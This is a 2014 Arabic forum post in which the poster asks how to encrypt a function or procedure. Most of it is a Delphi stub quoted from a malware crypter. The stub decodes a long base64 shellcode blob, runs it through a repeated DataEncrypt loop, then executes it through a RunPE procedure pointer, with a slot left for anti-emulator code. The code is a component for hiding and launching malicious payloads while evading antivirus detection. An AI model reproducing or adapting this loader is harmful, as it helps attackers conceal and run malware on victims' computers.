17-03-2014, 06:09 PM
فتحت سورس كود لبرنامج تشفير قصد التعلم منه فوجدت ان الrunpe مشفرة
التشفير ب base64 على ما ييدو البرنامج هوLi0n Polymorphic Crypter
ذلك هو الناتج من البرنامج
كيف اشفر function او procedure ؟
كود :
Shellcode: string;
RunPEProc:procedure(Buffer:PChar;BufferLen:DWORD); stdcall;
allstr: string;
key: integer;
begin
Shellcode:=
'zIjC8MGeN5zVy/Rtn2kbaA2We2lWh2lWh2kWAw0huBWfvLncvNZdPkLvy6RbUk6JO2dbJ2lbN2lWdAFbN2lms2dr72lmt2drO2lbNAFb72lGkEubLjByvfDoA+Y0e+rSAtfXGwAZQolPhAFTN2g/clrurPig/wEQ/NdLaohlfvhjUjMBA+Y4e+rSAtgZUwDhnYkfnYDXeolWlAFbNAyNQM51egDXAv2ZrLmfrKnBfEBkrGTcvJVdPkKunMRbETH'+
'cvJhjPkKxpsRbFCHcvJtLPkK+p6RbFyLcvG3ePkK1mMRb0ivcvGF4PkK4p6Rb1SLcvGRXPkK7e6Rb9ETcvIN5PkKcr6Rb9+rcvIZFPkKfn6RbAjLcvIlCPkKinMRbBUPcvIx9PkKlp6RbCCLcvJ7kPkKomMRbCyrcvJJ5PkKruMRbDg1c9SzVNr/wPYNGNrzVrsObqLzVN/Lc9T9VNr/EPYNJNrzVpMObr5zVNy5c9TLVNr/GPYNMNrzVzcObrr'+
'zVNybc9TXVNr/5PYNPNrzVrsObsbzVN+zc9TjVNr/6PYNSNrzVysObtLzVNyLc9TvVNr/3PYNVNrzVr6Rb8CbcvI7FPkKYpcRb8w1c9S1VNr/sPYN1NrzVoMObmbzVNz9c9SDVNr/KPYN4NrzVrMObnLzVNy5c9SPVNr/CPYN7NrzVuMObo5zVNync9SbVNr/CPYNANrzVpsOborzVNyDc9SnVNr/bPYNDNrzVs6ObpbzVNw1c9UzVNr/sPYNmN'+
'rzVoMObyLzVNz9c9V9VNr/KPYNpNrzVrMObz5zVNy5c9VLVNr/CPYNsNrzVy6ObzrzVNz9c9VXVNr/FPYNvNrzVr6Ob+bzVNyLc9VjVNr/3PYNyNrzVr6Ob/LzVN+Lc9VvVNr/OPYN/NrzVe6ObdLzVN/9c9PvVNr/5PYMVNrzVmMObu5zVNyHc9U5VNr/mPYNYNrzVqcOburzVNyzc9UHVNr/3PYNbNrzVnMObvbzVNzDc9UTVNr/JPYNeNrzV'+
'xMObwLzVNyLc9UfVNr/DPYNhNrzVpsObx5zVNz9c9UrVNr/PPYNkNrzVe6ObYbzVN/Tc9OjVNr/IPYMCNrzVoMObZLzVNzHc9OvVNr/5PYMFNrzVy6Oba5zVNz9c9P5VNr/FPYMINrzVmsObarzVNyLc9PHVNr/JPYMLNrzVqsObbbzVN+rc9PTVNr/5PYMONrzVpMObcLzVNyzc9PfVNr/IPYMRNrzVsMObd5zVNw1c9RbVNr/dPYMwNrzVnMO'+
'bkrzVNzHc9RnVNr/qPYMzNrzVo6OblbzVNz9c9RzVNr/5PYM0NrzVmMObWLzVNyHc9O9VNr/ZPYM3NrzVpsObX5zVNyvc9OLVNr/KPYM6NrzVnMObXrzVNzXc9OXVNr/KPYM9NrzVe6Obg5zVN/Dc9QbVNr/5PYMgNrzVr6ObgrzVN/Hc9QnVNr/8PYMjNrzVqcObhbzVNyLc9QzVNr/1PYMmNrzVn6ObiLzVN+Dc9R9VNr/FPYMpNrzVpcObj5'+
'zVNzHc9RLVNr/5PYMsNrzVs6ObjrzVNzHc9RXVNr+WPYLRNbzVycObN5vVNyLc9LrUNr/JPYLUNbzVrMObNrvVNyrc9Q1VNr/5PYMXNrzVz6ObebzVNyXc9QDVNr/IPYMaNrzVnMObfLzVNy5c9QPVNr/4PYMdNrzVe6RbGivcvKFKPkL4n6RbHSncvKRCPkL7e6ObJ5vVN+Dc9KrUNr/IPYLENbzVnMObJrvVNy5c9L1UNr/KPYLHNbzVnMObK'+
'bvVN/1c9LDUNr/IPYLKNbzVpsObLLvVNyDc9LPUNr/5PYLNNbzVqsObM5vVNzDc9LbUNr/XPYLQNbzVe6ObVrvVN+nc9K1UNr/FPYL1NbzVmMObGbvVNyHc9KDUNr/iPYL4NbzVoMObHLvVNy9c9KPUNr/IPYL7NbzVmMObI5vVNz9c9KbUNr/PPYLANbzVuMObIrvVNw0j9NzUNr/mA+LSy5/rJ2dbI2lLhEubLjotvfDxA+MeAgIub9UKg2lr'+
'g2YakkFkrKmhvQWfvGmjvJVmA+LSy5/rJ2bZBUKay2lbNF1VzKmfPiYbeQ2WBIKhN5zVyCgWNtFmNtOj9TnUNryRuw2We6QakA3h8rjVrLPd9TnUNr/aeA2WBILCNbzVy2lbNF1VzKmfOoqbO5vVN/0j9TnUNr/mog3AeCgaog3AeCgWBIKhN5zVyCgWNtCj9RbVNr/mA+LSy5/rJ2bZPoKGNLzVfw2Xe2qb45rVN/0h9MHUNr/mNtCj9PrVNr/'+
'mA+LSy5/rJ2bZBULmyCgaBULey2ibz5vVNoDWgF0h9M1UNr/mNtCj9SzVNr/mBUL2y5/rIF1VzKmfOolbQF0h9M1UNr/mNtChvGmhu9oZvGmfvNGj9S1VNr/mA+LSy5/rJ2bZok38e92We2lbT2lWyF0hvNGhu9JmAoLWNbzVy5zpAULeBIMANrzVy2lbNF1VzKmfvLGjvMpmA+LqA+3qy2lb3F0hvMZmAoLWNbzVy5/rL2lbT2tOk2lbTAyNuB'+
'IZM2qbxrzVN/0hvLpmN/LCAULOPoKmNLzVeQ2We6SbD5rVNx2WeA1d9JXTNr+YeA2WPoKyNLzVWA2We6Sb05rVNwIWeA1d9GHTNr/WeA2WPoK8NLzVfA2We6Sb35rVN+2WeA0hvNIl5z2cxYLMtCRcatijvMpmBQGxA+HdiF0jf3ihv6Uqe+KCy2saEolaPwoZvMZmAoLWNbzVy5/rL2tbPF0jf3ihv6U4OKYzAoGbC5rVN/0jf3ihv6Uey2saE'+
'olaPwoZvMZmAoLWNbzVy5/rMEFkrJqjvMpmogGjvMZmAoNqNbzV8s2ey2ibO5vVN/1VzLGhvNGhu8YZvMWf9S1UNryj9QXVNr/mA+LSy5/rJ2bZBIKGNLzVy2ibP5vVN/1VSoqbMrvVN/0hvLpmN/LCAMCh9MHUNr/mNtF//lihHVrYgA0juA0'+
'';
//Anti-emulator Code goes here
Shellcode := Decode64(Shellcode);
for key := 8612 downto 5 do
begin
Shellcode:= DataEncrypt(Shellcode, key);
end;
RunPEProc := @Shellcode[1];
RunPEProc(@allstr[1],length(allstr));
end.ذلك هو الناتج من البرنامج
كيف اشفر function او procedure ؟